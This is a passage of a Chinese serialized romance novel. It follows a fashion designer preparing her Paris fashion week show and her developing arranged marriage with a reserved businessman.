这批纳米级校准仪是半导体生产线的核心设备,延期一天就会拖慢整个华东工厂的智能化改造。 他瞥了眼主卧方向,门缝里仍是一片静谧的黑暗。 “联系驻瑞士办事处,准备担保函。”蔺之序取下西装,动作迅速,“还有,通知海关王处,我四十分钟后到。” 潘岩:“好的蔺总。” 车库感应灯渐次亮起。 迈巴赫启动时,中控屏显示室外温度35度。 已经是九月底的天了,夜风仍裹着暑气。 海关大楼的冷气开得很足。 王处长亲自等在VIP通道:“蔺总,实在是瑞士人太较真……” 他接过文件快速翻阅,签字笔在纸上划出沙沙声。 手续办完,刚好一小时四十七分钟。 回到小区,指纹锁解开时,房间仍保持着绝对的寂静。 蔺之序松了松领带,将补充协议扔在书房桌上。 来到主卧门口,他轻轻推开门——叶瓷还保持着原来的睡姿。 第25章 第25章 相敬如宾 叶瓷醒来时, 窗外已经透进一层薄薄的晨光。 主卧的纱帘没有拉严,一缕金线斜斜地切过床尾。 她伸手按了按太阳穴。 昨晚的疲惫似乎还未完全消散,但睡眠意外地沉, 连梦都没有做。 掀开被子坐起来, 她恍惚了一瞬。 昨天的记忆如潮水漫回, 连续两场跨国视频会议,改礼服, 那杯凉透的黑咖啡,还有最后不知怎么拨出去的电话。 叶瓷微闭了闭眼。 自己居然会因为一时脆弱就跑到婚房来。 不过还好, 保姆昨天的话她还记得, 蔺之序从不在这里过夜。 下床开始洗漱,当她刚擦完脸时, 门被轻轻叩响。 叶瓷以为保姆又问早餐的事情, 于是回了句, “我不在这里用早餐。” “醒了?” 蔺之序的声音隔着门传来,低沉而清晰。 叶瓷正在涂护肤的手一滞, 蔺之序怎么在这儿? 大概蔺之序已经猜到叶瓷听错人了,“叶瓷,是我。” 叶瓷拉开门的瞬间, 一股微凉的晨风裹挟着运动后特有的热潮气息扑面而来。 蔺之序站在门口,身上是黑色的运动装, 额前的碎发微湿, 颈侧还带着未干的汗意,呼吸比平时略重,显然刚结束晨跑。 他的目光在她脸上停留了一瞬,像是确认她的状态,随后微微侧身, 让出门口的空间。 “你继续,我去客卧冲个澡。”他说。 叶瓷点头,视线不自觉地扫过他因运动而绷紧的小臂线条,又很快移开。 他的存在感太强,哪怕只是这样站着,也让她有种微妙的压迫感。 蔺之序去客卧后,叶瓷继续护肤,镜子里,昨晚的倦色淡了些,但还没完全消退。 她轻轻呼出一口气,转身去衣帽间换衣服。 滑开柜门,想起她昨晚来时穿的黑色风衣,她给自己选了一条白色衬衫裙。 换好衣服,出卧室,叶瓷看到保姆在餐桌前布早餐。 她原计划是和蔺之序打过招呼以后直接回工作室的。 至于早餐,工作室附近有早餐店,她顺道吃一顿就行。 不过,现在早餐已经备好了,她也不想再矫情。 看见她来了,保姆笑着打招呼:“太太早。” 叶瓷微微颔首,“早。” 昨晚被喊太太,她也没觉得有什么,因为知道蔺之序不会来这里,现在不同了,蔺之序也在,再听,就有了那么一点儿难为情。 “这些都是蔺先生吩咐的。” 叶瓷点点头,顺手拉开椅子坐下。 眼前一桌早餐很丰盛,小米南瓜粥,蒸山药,白煮虾,莓果沙拉,切片牛油果,还有两杯酸奶。 营养又养胃的搭配。 两人的话,肯定吃不完。 她想,大概蔺之序不清楚她的早餐习惯,所以广撒网。 蔺之序还没出来,她拿出手机,一边看今天的工作安排,一边等他。 这时,叶北庭的消息进来了:【吃早饭了吗?】 叶瓷回复:【正准备吃。】 叶北庭:【昨天打电话是有什么事吗?】 叶瓷:【没有,一时无聊,想找哥哥聊天。】 本来也就没什么事,只是累了而已,她不想叶北庭追问,于是问他:【哥哥要在新加坡待几天?】 叶北庭:【事情处理好了,这两天就回去。】 叶瓷正低头打字,听见客卧的门开了,然后结束聊天:【哥哥我要吃早餐了,回聊喔。】 叶北庭秒回:【去吧】 放回手机,蔺之序正朝餐厅走来。 刚洗过澡,他的发梢微湿,黑色衬衫的领口敞着,身上还带着未散的热气。 蔺之序在她对面坐下,目光落在她的脸上。 “昨晚睡得好吗?”他问。 “嗯。”她点头,指尖轻轻摩挲着杯沿,“睡得还不错。” 蔺之序看她,笑着说了句,“睡觉不认床。” 他说的是事实,叶瓷也笑,“对。” 蔺之序开始吃早餐,“昨天你给我打电话,有什么事吗?” 叶瓷用餐的动作微顿了一下,随即轻轻“嗯”了声,语气平静:“没什么事,就是……最近压力有点大,想找人说说话。” 没和哥哥细说的事情,在他这里,自然而然地就说出了口。 蔺之序的目光沉静地落在她脸上,没有立刻接话。 片刻后,他放下杯子,声音低缓:“会议调了静音,忘了调回来,后来和司恒他们几个聚餐,打牌,没注意手机。” 他在向她解释。 回味过来后,叶瓷哦了声。 这时,蔺之序低头看了眼手机上的行程表,手指在屏幕上划了两下,道:“我让助理调整一下工作安排,争取在巴黎多陪你几天。” 叶瓷微微一怔,然后唇角轻轻弯了一下:“好。” 她没想到他会主动提这个。 原本那天在他家里,她以为也就那么随口一提的行程,他竟然记下了,甚至愿意调整自己的安排。 这种细微的迁就,让她心里泛起一丝异样的波动。 餐桌上的气氛安静平和。 阳光透过落地窗洒进来,在两人之间的桌面上投下一道浅浅的光带。 蔺之序的视线落在她搭在桌边的手上——纤细白皙,指尖微微蜷着,像是随时准备收回。 他忽然伸手,掌心覆上她的手背。 叶瓷的手轻轻一颤,但没有抽开。 “叶瓷。”他叫她的名字,声音低沉而清晰,“我们已经是夫妻了。” 她抬眸看他。 就听见他接着道,“以后,你想让我陪你吃饭,聊天,或者做别的什么,直接告诉我。” 他的指腹摩挲了一下她的手背,温度透过皮肤传递过来,“如果我哪里做得不够,你要提出来,我再调整。” 他的语气很平静,甚至称得上理性,可话里的意思却让她心跳微微加快。 这不是客套,也不是敷衍,而是一种近乎承诺的认真。 她轻轻点头:“好。” 手机响了。 蔺之序松开她的手,拿起手机看了一眼,人没动,当着她的面接听了电话,“妈。” 叶瓷继续用餐。 电话那头,汤静娴的声音带着笑意:“之序,开门,小李刚上去给你送东西。” “我不在家。”他说。 汤静娴看表,“跑步还没回来呢?” 蔺之序:“我昨晚在婚房住。” 叶瓷听见他提到婚房,用餐的动作慢了下来,她看到蔺之序的长指无意识地抚着勺柄。 电话那头短暂地沉默了一秒,随即汤静娴的声音明显轻快了几分:“哦——” 她拖长了音调,又很快收敛,“家里新来的厨师做了几道菜,我让小李给你送一份,既然你不在如园,那就让小李给你送婚房去,你把地址发给他。” 蔺之序应,“好。” 汤静娴的声音又传来,“我还给叶瓷打包了一份,你把她工作室的地址也给小李发过去。” 蔺之序的看看餐桌上的早餐,又瞥了一眼叶瓷——她正低头搅动酸奶。 他原本想说“不用”,可话到嘴边,又改了口:“都送到婚房来吧,我去公司的时候顺路给她带过去。” 汤静娴不知道叶瓷也在这里,如果电话里直接讲明,他怕叶瓷会不自在。 汤静娴笑着应下,又叮嘱了几句才挂断。 电话一断,蔺宅的客厅里,汤静娴放下手机,转头看向坐在沙发上看报纸的蔺建昆,眼底带着掩不住的欢喜:“听见没?你儿子昨晚在婚房住的。” 蔺建昆头也不抬,语气淡定:“住婚房怎么了?” “所以——” 汤静娴轻哼一声,“我觉得,目前来说,俩孩子相处的还不错。” 说起相处,蔺建昆点点头,从叶瓷先后两次来蔺家,两人之间的互动确实是有些相敬如宾的意思。 汤静娴:“我刚才在电话里说要给叶瓷送菜,你猜之序说什么,他说让小李把菜都放他那里,待会儿他上班时再顺路给叶瓷送过去。” “你猜他这是什么意思?”汤静娴笑着挑眉。 她语速有些快,加上蔺建昆刚才专注看报纸,没留心听她打电话的内容,所以一时也就没听明白:“什么?” 汤静娴就差跟他翻白眼了,“当然是想去看叶瓷了,这么简单的道理你都不懂吗?” 蔺建昆不想和她争执,“是。” 一拳打在棉花里,汤静娴差点气笑。 不过,满满的分享欲让她继续道,“我还听季管家说,前几天,之序从东南亚出差回来,自己开车去工作室找叶瓷。” 蔺建昆:“这么说,孩子对这门婚事是真上心了。” 汤静娴笑,“那当然!” 起初撮合两人时,她其实也是有那么一点点担忧的,两个孩子的性子比较像,事业心重,情绪内敛,不过,如今她是再也不担心了。 两人又聊了几句结婚事宜,蔺建昆说,“结婚的事,还是得先听听孩子们的意见,最起码等叶瓷忙完时装周。” 汤静娴点点头,“对。” …… 早餐结束后,保姆过来收拾餐具。 叶瓷拿起手机,转身又去拿外套和包。 “今天有什么安排?”蔺之序问。 叶瓷笑了下,“会很忙,一直到时装周结束。” 蔺之序:“嗯。” 时间已经快八点,两人该去上班了。 穿戴整齐,在玄关处,蔺之序问她,“明天晚上有时间吗?” 叶瓷抬眸看他,还没回答,就听他说,“我去工作室找你。” 叶瓷手指紧了紧包带,接着,她轻轻“嗯”了一声,“到了给我打电话。” 蔺之序:“好。” 第26章 第26章 他的拥抱很轻 翌日凌晨五点四十分。 叶瓷划过平板电脑屏幕, 将最后一份面料检测报告归档。 端起杯子,她抿了口黑咖啡。 苦涩在舌尖蔓延,却也恰到好处地刺激了因熬夜而迟钝的神经。 手机屏幕亮起, 是巴黎场地方发来的消息。 她扫了一眼时间, 巴黎此刻是深夜十一点四十三分, 对方显然也还没休息。 【叶小姐,T台长度需要最终确认, 灯光方案必须在24小时内敲定。】 叶瓷的手指在对话框上停顿半秒,回复:【测量数据已复核, 比标准短15厘米, 请调整第一排座位间距。灯光色温控制在3000K以下】 发完消息,她拿起当天的生产进度表清单, 上面列着所有未完成的样衣, 需要调整的细节, 以及当天必须确认的事项。 全部勾选完成,已经是两个小时后。 窗外, 天色大亮。 叶瓷刚在办公室坐下,小于就拎着早餐过来了,“叶总, 早餐。” 叶瓷伸手接过,声音带着彻夜未眠的沙哑, “谢谢。” 小于看见桌面上喝了一半的黑咖啡, 还有进度表清单。 此时,清单上大部分已经打上了黑色对勾,剩余几项也用红色记号笔做了备注。 清晰又规整。 这种工作平时都是她和叶总一起做,她负责记录,清单内容不算少, 全部过一遍的话,至少要两三个小时。 距离时装周还有四天,大家连续加班已经持续了一个多月。 叶总更不用说,很多时候,她下班回家时,看到叶总办公室的灯还亮着。 小于:“叶总,你昨晚又熬夜了吗?你也要注意身体啊。” 叶瓷笑了下,早餐已经吃完,她边收拾桌子,“我知道,谢谢。” 小于笑笑,然后打开平板,人也立即进入到工作状态。 “上午九点有个会议,十点半,模特们来试衣。” 叶瓷点点头,看了眼时间,“现在去会议室。” 二楼会议室。 叶瓷落座后,各部门开始汇报工作。 她的手指在平板上滑动,看着各项工作进展情况。 当面料负责人汇报时,叶瓷提醒,“样品D-7在特定角度下,第三码处有一道织造瑕疵,属于质量问题。抓紧时间联系米兰的备用供应商,让他们立刻空运替代品。” 负责人:“好的叶总。” 大秀在即,会议高效紧凑地进行着。 会后,版师陈姐过来和叶瓷商议礼服细节。 “肩线这里,”陈姐的食指沿着图纸滑动,“如果按照原设计,模特抬手时后领会有0.3厘米的拉扯。” 叶瓷闻言俯身,一缕碎发从她的耳后滑落。 她没去拨开,而是用铅笔在图纸上画了条流畅的弧线。 “在这里加一个隐藏式活动褶。” 陈姐又问:“缝份多少?” 会议室玻璃门被轻轻叩响。 小于端着咖啡进来,放在叶瓷旁边——加双份浓缩,不加糖。 叶瓷的铅笔尖在图纸上方几毫米处,会议室安静,只有她手边的手机提示音在实木会议桌上敲出一串急促的节拍。 铅笔的阴影投在图纸上,随着她手腕的细微调整而轻轻颤动。 直到铅笔突然落下,在肩线位置画出一道流畅的弧线,叶瓷的声音才打破沉寂:“用0.1厘米的缝份,就这么定了。” “好的。” 陈姐立刻应声,手指已经在电脑上输入修改参数。 间隙,她瞥了眼叶瓷手边持续震动的手机,屏幕上的通知栏早已被各种消息挤满—— 米兰面料供应商,纽约模特经纪人的越洋电话,还有巴黎工坊发来的十几条未读信息。 每一条提示光的闪烁都在提醒着这场时装战役的倒计时。 众人出了会议室,叶瓷拿起咖啡喝几口,她转脸问小于,“试衣间那边怎么样了?” 小于:“模特们都到齐了,正准备试衣。” 叶瓷嗯了声。 试衣间里弥漫着高级香氛。 来自世界各地的顶级模特鱼贯而入,带来完美的身材比例和独特气场。 换装完成,空气里萦着不易察觉的紧张感。 叶瓷站在巨大的弧形落地镜前,目光冷静地看着每一个走上镜台的模特。 有人没忍住开始拍照,叶瓷的视线却牢牢锁在每个模特身上。 “停。” 她声音不高,却让整个试衣间瞬间安静下来。 半蹲下身,叶瓷指尖轻轻点在俄罗斯超模Katya的小腿外侧。 “这里,侧缝开衩再提高1.5厘米。” 她对旁边的首席样衣师李姐说,同时用一枚极细的珠针标记了位置。 李姐立刻上前,熟练拆开缝线,动作快得只见残影。 “Katya,”叶瓷站起身,“抬手,向后伸展,转身,走五步,停,再转身。” 她的指令简洁明确。 Katya配合着做出各种动作,叶瓷迅速捕捉着礼服在动态下的每一处细微变化——腰线的位移,肩袖的牵扯,裙摆的摆动幅度。 工作人员拿来一条铂金项链,叶瓷在Katya颈间比划了下,眉头微蹙:“换那条古董金币吊坠,长度控制在锁骨下方一寸。” 放回项链,她对小于说,“和珠宝部确认,所有项链长度必须严格对应领型设计图,误差超过0.3厘米的一律不用。” 小于连忙记录:“好的叶总。” 试衣全部结束,已是中午。 一行人出去就餐,叶瓷没去。 小于问她要不要打包一份,叶瓷摇摇头,“不用。” 她没有饿的感觉。 一人在办公室休息片刻,她突然又想起来,还要到刺绣工坊去看看收尾情况。 临近六点,小于终于在工坊找到了她,“叶总,报关单上需要您的签字。” 叶瓷接过笔,“礼服都放进防尘箱了吗?” 小于点头:“都已经妥了。” 两人一起往电梯间走。 叶瓷又问:“应急工具包呢?检查过了吗?” 小于:“都检查过了,针线,别针,双面胶,珠宝胶。” 叶瓷:“好,晚上带大家去吃顿好的,记在公司账上。” 小于笑,“好的叶总。” 小于见她按下顶层,“叶总,你不和我们一起去吗?” 叶瓷笑,“不去了。” 到休息室,她给自己冲了杯咖啡,接下来还有几个细节需要和巴黎场地方沟通。 叶瓷举着iPad在露台走动,台灯的光束模拟着秀场的射灯角度。 灯光师David提到备用方案时,叶瓷听到敲门声。 她一边继续对话,一边往玄关走。 是蔺之序。 烟灰暗格衬衣搭配西裤,通身透着一丝不苟的沉稳气质。 略垂眸,叶瓷看到他手里提着两个带有米其林餐厅logo的食盒。 电话那头,David正急切地等待她的决断。 叶瓷侧身让开空间,对他小声开口,“你先坐。” 蔺之序了然。 叶瓷转身继续她的通话,身后,蔺之序回手合了门,接着,他将食盒放在餐桌上。 终于沟通妥当,叶瓷才发现自己的肩膀已经僵硬得发疼,她站在原地略缓了缓,然后回到餐厅。 落座,蔺之序将一杯红茶递给她。 蔺之序:“报关顺利吗?” “顺利。” 叶瓷应了一声,看见自己的小指上还沾着一根香槟色线头,正要拿掉,蔺之序先她一步,轻轻捻走了。 叶瓷笑下,“谢谢。” 骨瓷碗里的松露烩饭蒸腾着热气,在两人之间织出一层薄雾。 两人边吃着,偶尔交流几句工作。 饭毕,蔺之序起身收拾餐具。 叶瓷闲来无事,对他说,“我先去洗漱下。” 蔺之序:“好,去吧。” 她换上睡衣出来,蔺之序正坐在沙发里处理工作。 落地灯的光晕里,他坐姿极清正,烟灰色衬衣勾勒出肩胛骨的锋利线条,在墙面上投下一道剪影。 叶瓷走过去,随手捞了一个靠枕抱在怀里。 她在他对面的沙发里坐下,曲起双腿,将下巴搁在柔软的枕面上。 蔺之序微低着头,屏幕的冷光映亮他深邃的眉眼,虽然只是安静地坐着,但那种掌控一切的沉稳气场依旧强烈。 叶瓷看着他,直到他手机有电话进来。 蔺之序起身去露台,“请讲。” “蔺总,港城那边出了点问题。”电话那头,潘岩的声音难掩焦急。 “那块临海地皮,贺氏集团突然抬价,幅度很大,超出了我们之前的预估范围。” 蔺之序沉吟片刻,“贺氏的现金流撑不起这种幅度的竞价。去查清楚,是虚张声势,还是背后另有资本。” 潘岩:“是,蔺总。另外,港城那边的负责人希望您能尽快给个明确的指示,下一次举牌的授权额度——” 蔺之序:“先把评估报告和贺氏近三个月的所有动向发到我邮箱。” 潘岩:“是,我立刻去办。” 电话挂断,蔺之序打开手机邮箱,调出港城项目的相关文件。 数分钟后,他初步厘清头绪,抬手捏了捏眉心。 再进来,蔺之序看见叶瓷已经靠在沙发里睡着了。 他走到她身边,伸手从旁边靠背上拿来一条羊绒毯,替她盖上。 离得近,他闻到她身上的橙花香气,蔺之序突然想起她去婚房找他的那个夜晚。 随着记忆鲜活起来的,还有他不够强大的定力。 思及此,蔺之序微滚喉结,强迫自己从她身上收回视线。 他重新坐到她对面的位置,用工作分心。 叶瓷做了许多梦,醒来时,人还有些恍惚。 蔺之序听见动静,从手机里抬头,“醒了?” 叶瓷坐起来,睡眼惺忪着,“几点了?” 蔺之序:“快十二点了。” 叶瓷抬手捋了下长发,自己睡了将近两个小时。 蔺之序:“回卧室睡吧。” 叶瓷嗯了下,然后起身,这时,蔺之序也站了起来,“早点休息,我明早飞港城,等处理完那边的工作,周五直接去巴黎和你汇合。” 叶瓷点头,“好。” 蔺之序仍看着她,没有任何预兆,他的手臂就环了上来。 他的拥抱很轻,羊绒面料贴着叶瓷的脸颊,她闻到自己洗发水中橙花的味道与他领口氤氲的檀木冷香交融在一起。 蔺之序的下颌抵在她发顶上方,呼吸的也比平时慢了半拍。 当他的唇最终落在她发间时,她整个人像突然被钉住一般。 良久,“叶瓷晚安。” 叶瓷在他怀里的嗓音软软,“晚安。” 门被他从外面带上,工作室突然显得空荡起来。 叶瓷站在原地,手指无意识地触了下刚才被他吻过的地方。 第27章 第27章 夜色正浓 戴高乐机场。 叶瓷单手推着行李箱穿过机场VIP通道, 另一只手握着刚接通的电话,正用法语与巴黎工作室确认面料到货情况。 五分钟后,小于跟了上来:“叶总, 车在3号出口等着。酒店已经安排好, 下午三点与《Vogue》法国版主编有约。” 叶瓷:“好。” 应过, 她的余光瞥见右前方贵宾休息室门口站着的熟悉身影。 江晏戴着Gucci新款墨镜,一身Off-White休闲西装, 正低头摆弄手机。 他身后跟着两个助理模样的年轻人,在核对行程表。 叶瓷准备擦肩而过, 对方突然抬起头。 “叶总监?” 江晏摘下墨镜, 接着,他朝叶瓷走来, “我刚下飞机就看到你了, 还以为认错人了。” 他说话时眼睛微微弯起, 是那种粉丝们最爱的“少年感”笑容。 “您来参加时装周?”江晏示意助理稍等,自然而然地走到她身侧。 他比官方资料显示的还要高, 叶瓷172cm的身高仍需微微仰头看他。 半年前,两人有过一次合作。 为某高珠品牌拍摄广告时,这位顶流穿着她设计的西装套装, 硬是将商业片拍出了高质感。 叶瓷笑道,“嗯, 来参加时装周, 你呢,来拍广告?” 她记得上次合作时他的经纪人提过,江晏最近接了个法国品牌的代言。 “嗯,拍摄广告。”江晏点点头,目光落在她手中的日程本上, “你这次是个人展?” 叶瓷:“对。” 江晏笑,“那,有时间我们一起吃个饭?” 叶瓷也笑:“好啊,有时间约。” 上了接机车,叶瓷系好安全带。 窗外,江晏正被一群突然出现的粉丝团团围住。 包里的手机震动起来,是工作室发来的最新样衣照片。 叶瓷在座椅里欠了欠身,找个舒服的姿势,低头开始回复邮件。 后视镜里,是巴黎澄澈如洗的蓝天,而戴高乐机场的玻璃幕墙正渐渐远去。 四十分钟后,一行人来到下榻的酒店。 很快,套房就被改造成了临时工坊,三台蒸汽挂烫机同时运作,水雾弥漫。 叶瓷先回房间换了衣服,接下来有一个《Vogue》专访,摄影棚刚好就设在她下榻的酒店。 时间还算充裕,叶瓷乘电梯下了楼,来到她们的临时工坊。 “裙摆这里再松一点。”她说,“要像被夜风吹过的窗帘,不是刻意摆出来的。” 样衣师着手调整时,叶瓷又走向另一件礼服。 直到小于过来喊她,《Vogue》主编的车已经到了酒店楼下。 采访在酒店顶层的钢琴吧进行。 艾玛·劳伦斯端起骨瓷杯,红茶缭绕的热气模糊了她探究的目光。 她注视着对面的叶瓷——这位近几年来最受瞩目的华裔设计师,此刻正垂眸整理袖口,珍珠母贝纽扣在灯光下泛着温润光泽。 一切准备就绪,艾玛翻开笔记本,“这次个人展的主题是‘朱丽叶玫瑰’,能说说灵感来源吗?” 叶瓷和对方对视,唇角微扬:“每个女孩都曾做过仙女梦,幻想过穿着缀满晨露的纱裙,在玫瑰园里奔跑。”她的声音很轻,却带着某种笃定,“我想捕捉的,就是那种纯粹的心动。” 说着,叶瓷示意助理取来一本皮质封面的素描本。 翻开其中一页,上面是幅水彩草图——层层叠叠的薄纱裙摆如花瓣舒展,腰间缠绕着丝绒玫瑰枝条。 “这件‘晨雾玫瑰’的灵感来自我幼时的花园。”叶瓷的指尖停在画稿某处,“在这个花园里,我外婆种了许多朱丽叶玫瑰,那是她最喜欢的花。” 艾玛注意到她无名指上的婚戒在素描本上投下小小光斑。 接着,她巧妙地将话题转向私人领域:“所以,他是不是也来了巴黎,与你一同见证这场玫瑰的盛宴?” 叶瓷端起茶杯的动作一顿,终于,她点点头,“对。” 一个小时后,采访在融洽的氛围中结束。 窗外是巴黎的黄昏,塞纳河上的游船正缓缓驶过。 叶瓷立在窗前,出神间,她想起了江南苏园的黄昏。 在苏园的后花园里,外婆总穿着那件蓝布旗袍,弯腰修剪玫瑰丛。 六岁的叶瓷蹲在旁边,看外婆的手指灵巧地拨开尖刺,将一支含苞的玫瑰剪下插进花瓶里。 落地窗倒映出叶瓷微微发红的眼尾。 这些年她很少回忆那个带着玫瑰香气的怀抱——母亲在谈判桌上征战四方时,陪伴自己的是外婆和她的玫瑰园。 玻璃窗上的倒影忽然模糊了。 她终于明白为什么自己执着地在每季设计里藏进玫瑰元素——原来在潜意识里,这些创作都是写给那个再也不会唤她“阿瓷“的人的情书。 “叶总?”小于轻轻敲了下门。 叶瓷敛起心神,转脸看向门口,“请进。” “嫂子!” 蔺念一蹦进来,手里举着两个冰淇淋甜筒,“我和溦溦在楼下遇到意大利手工冰淇淋店,店主说用了西西里岛Bronte的特级开心果,你一定要尝尝!” 叶溦跟在后面,手里捧着杯冰美式,顺手递给叶瓷:“姐,你的续命神器。” 叶瓷一手拿甜筒,一手握冰美式,笑着看两人:“你们刚到?” 叶瓷和她们两个不是一趟航班。 蔺念一笑,“对呀。” “念一,江晏发微博了!”叶溦划着手机,兴奋难掩。 她将屏幕转向蔺念一,上面是江晏刚更新的微博:男人戴着墨镜,慵懒地靠在埃菲尔铁塔附近的咖啡馆露台上,配文只有简单的“Paris” 蔺念一凑过去,轻轻“啊”了一声:“江晏已经到巴黎了!” 叶瓷已经在核对样衣清单,她头也没抬:“你们两个要是想近距离追星的话,可以让小于安排车。” 刚说完,电话突然震动起来。 叶瓷瞥了一眼,是个陌生号码。 “喂?” 她声音平静,手上还在记录一组数据。 “叶总监。” 是江晏。 背景音里隐约能听见法语广播的声音,他似乎正在车上。“刚听经纪人说你也住丽兹?” 叶瓷的笔尖一停:“嗯。” “有时间一起吃个饭吗?”江晏开门见山,“我在玛黑区发现一家不错的餐厅。” 叶溦和蔺念一不知何时安静了下来,两双眼睛一眨不眨地盯着她。 叶溦甚至无意识地抓住了蔺念一的手腕。 叶瓷的余光瞥见她们两个,最终答应,“……好,不过要带两个小朋友。” 电话那头传来江晏的笑声:“荣幸之至。” 挂断电话,叶瓷继续写完最后一个数字,才抬头看向两个故作镇定的妹妹:“晚上七点,和江晏一起吃饭。” 叶溦抿着嘴点头,蔺念一则小声说了句“谢谢嫂子”,两人轻手轻脚地退出房间,关上门才传来压抑的欢呼声。 玛黑区,晚上七点。 餐厅藏在一条鹅卵石小巷尽头,庭院里种满地中海植物,星星灯串缠绕在橄榄树枝头,在暮色中闪烁着温暖的光。 江晏已经等在入口处。 他今晚穿了件深蓝色丝绒西装,没打领带,看见三人走来,他微笑着迎上前。 “这位一定是叶溦,”他先向叶溦伸出手,然后转向蔺念一,“这位是…蔺小姐?” 蔺念一的脸瞬间红了,她是江晏的新粉,“你,你知道我?” 江晏笑:“盛域集团蔺总的妹妹,时尚圈谁不认识?” 侍者引他们入座。 餐厅内部是复古的洛可可风格,水晶吊灯下,每张餐桌都铺着手工刺绣的桌布。 江晏翻开菜单,“朋友特别推荐这里的松露鹅肝,主厨是特意从勃艮第请来的。” 叶溦眼睛发亮:“我去过你在《美食之旅》里介绍的那家勃艮第餐厅!” 江晏有些意外,“你还看这个?那期收视率不高。” “我每期都看!”叶溦激动难掩,“你介绍的那家京都怀石料理,我去年也特地飞去吃了!” 蔺念一在桌下偷偷掐了她一把,小声提醒:“溦溦,拜托矜持点。” 叶瓷看着两个妹妹的互动,忍不住笑。 江晏的目光落在她脸上:“难得见叶总监笑这么轻松。” “平日工作太忙。”叶瓷端起酒杯,香槟的气泡在杯壁上升腾。 江晏切着牛排,“听说这次的主题是朱丽叶玫瑰?很浪漫的概念。” 叶瓷点头,“嗯,想呈现一些——” “一些既梦幻又有力量感的东西,”江晏突然接话,“像带刺的玫瑰,柔软但坚韧。” 叶瓷有些惊讶,这时,江晏笑着晃了晃手机:“刚看了《Vogue》的专访预告。” 叶瓷也笑。 侍者这时送上主菜——慢炖小羊排配黑松露酱,摆盘精致得像艺术品。 蔺念一拿出手机拍照,江晏看到后,体贴地调整了烛台得位置。 “江老师,”叶溦鼓起勇气,“可以合个影吗?” 江晏笑,“当然。” 用餐结束,回酒店的路上,叶瓷告诉她们,回到房间后就不要再出去逛了。 两人很乖地点点头,“嗯。” 车厢安静,叶溦和蔺念一压低声音讨论着秀场座位,要穿哪条裙子去看秀。 叶瓷打开工作群,看T台的搭建进程。 身后,蔺念一和叶溦还在小声交流。 叶溦:“念一,你发朋友圈了吗?” 蔺念一:“发了,九宫格!有和江晏的合照,还有嫂子的背影,每张都超有氛围感!” 叶瓷闻言,回头挑眉:“你们还拍我了?” 蔺念一笑得谦虚,“只拍了两张。” 车又行了会儿,叶瓷说,“我现在要到T台现场看看,”说过,她又交待司机,“送她们两个回酒店。” 叶溦:“姐,我们陪你去吧?” 蔺念一:“对对对,嫂子,我们陪着你工作。” 叶瓷笑,转手拿起背包,“不用了,你们回酒店,T台还在通电作业,你们去了我反而不放心。” 见两人还要张嘴,叶瓷已经让司机停了车,“不要说了,两位小朋友要听话,这样我才能安心工作。” T台还在搭建,工人正调整最后一处弧形转角。 叶瓷踩着乐福鞋,直接跨上脚手架,居高临下地审视着整个结构。 “这里,再弯5度。”她指着转角处,“模特转身时,裙摆要能划出完美的扇形。” 工人点头调整时,她跳下脚手架,拍了拍手上的灰。 …… 蔺之序晨跑结束回到酒店,拉开冰箱拿水时,随手打开了手机,他看到念一的朋友圈有更新。 点开,九张照片铺满屏幕:精致的法餐,烛光下的甜点,玛黑区古老的建筑,以及—— 他的目光在第五张照片上停留。 叶瓷坐在餐桌前,微垂着眼睫,指尖轻搭在高脚杯上,杯中的红酒映着烛光,在她腕间投下一片暗红光晕。 而照片的角落里,一个男人的侧脸入镜,对方正微微倾身,似乎在和叶瓷说什么,唇角带着浅笑。 最后一张是合影。 叶瓷站在中间,念一和叶溦一左一右挽着她的手臂,那人则站在她斜后方,姿态放松,像是很熟稔的朋友。 蔺之序面无表情地放大照片,看了数秒,随后退出朋友圈,点开和念一的聊天框。 蔺之序:【餐厅不错?】 蔺念一回复得很快:【超好吃哦哦!江晏推荐的!】 蔺之序:【嗯。】 隔了几秒,他又发了一条:【你嫂子行程安排紧,你不要让她费心。】 蔺念一:【知道啦!我会乖乖听嫂子的话。】 蔺之序看着屏幕,长指在桌面轻敲两下,终于还是问出口:【和你们合影的是谁?】 蔺念一:【???哥,你不认识江晏?】 蔺之序说实话:【不认识。】 蔺念一:【……他可是顶流啊!影帝!】 蔺之序从不关注娱乐圈,对时尚圈的关注还是因为叶瓷。 蔺之序:【真不认识。】 蔺念一感觉和他代沟三米宽:【……】 蔺之序没再回复,一瓶水喝完,他点开了搜索引擎,输入【江晏】 页面上立刻瞬间弹出无数词条,最新的一条是:#江晏低调现身巴黎,疑似为叶瓷时装周捧场?# 蔺之序扫了一眼,关掉页面。 窗外,天刚蒙蒙亮,他看一眼时间,这个点,叶瓷应该还没睡。 视频请求很快被接通,屏幕里映出叶瓷白皙的脸。 “叶瓷。” 蔺之序的声音传来,混着一点微弱的电流音,听在耳朵里,比平时更低更沉一些。 叶瓷笑了下,他穿着一件纯黑运动服,拉链只到胸口下方,露出里面同色系的吸汗内衬。 见惯了他西装革履的沉稳模样,镜头里运动装扮的他,肩线宽阔,胸膛流畅而富有力量感。 有种陌生的……吸引力。 “你刚晨跑回来?”叶瓷问。 蔺之序:“嗯。” 男人目光沉静,“明天几点开始彩排?” 叶瓷:“早上八点。” 应过,叶瓷又问,“你那边的工作进展得怎么样了?” 蔺之序:“比较顺利,我尽量早点结束然后去找你。” 叶瓷笑,“嗯。” 蔺之序看出她眉间的倦意,两人又聊了几句后,他就主动结束了通话。 屏幕暗下去,叶瓷起身回卧室。 窗外,巴黎的夜色正浓。 第28章 第28章 结结实实的拥抱 早上八点。 丽兹酒店宴会厅成了临时搭建的试装间。 叶瓷站在全身镜前, 手里捏着一枚珍珠别针,将面前模特的礼服肩带又收紧半寸。 “吸气。”她声音很轻。 模特Anna立刻屏住呼吸,看着镜中叶瓷微微蹙起的眉头。 这位亚洲设计师有着娇好的面容——瓷白的肌肤, 线条分明的下颌, 以及那双仿佛能看透布料灵魂的眼睛。 此刻她正用牙齿轻轻咬住下唇, 这是她专注时特有的小动作。 “告诉工坊,这里需要再加一道暗褶。” 一旁的小于飞快记录。 记录完成, 小于继续汇报:“叶总,Lola刚才说头饰太重, 她戴不住。” 叶瓷抬眼望去, 超模Lola正摆弄着那顶镶嵌水晶的发箍。 她走过去,伸手, “让我看看。” Lola将发箍递给她, 叶瓷检查了一番, 发现上面有个小棱角。 “小于,联系蒙田大道的Flora花店, 要新鲜的白色铁线莲和常春藤,茎秆要足够柔韧。” “好。” 她刚要拨电话,就听见叶瓷说, “再订28杯热拿铁,双份浓缩。” 小于:“好的叶总。” 半个小时后, 彩排开始。 叶瓷站在T台尽头, 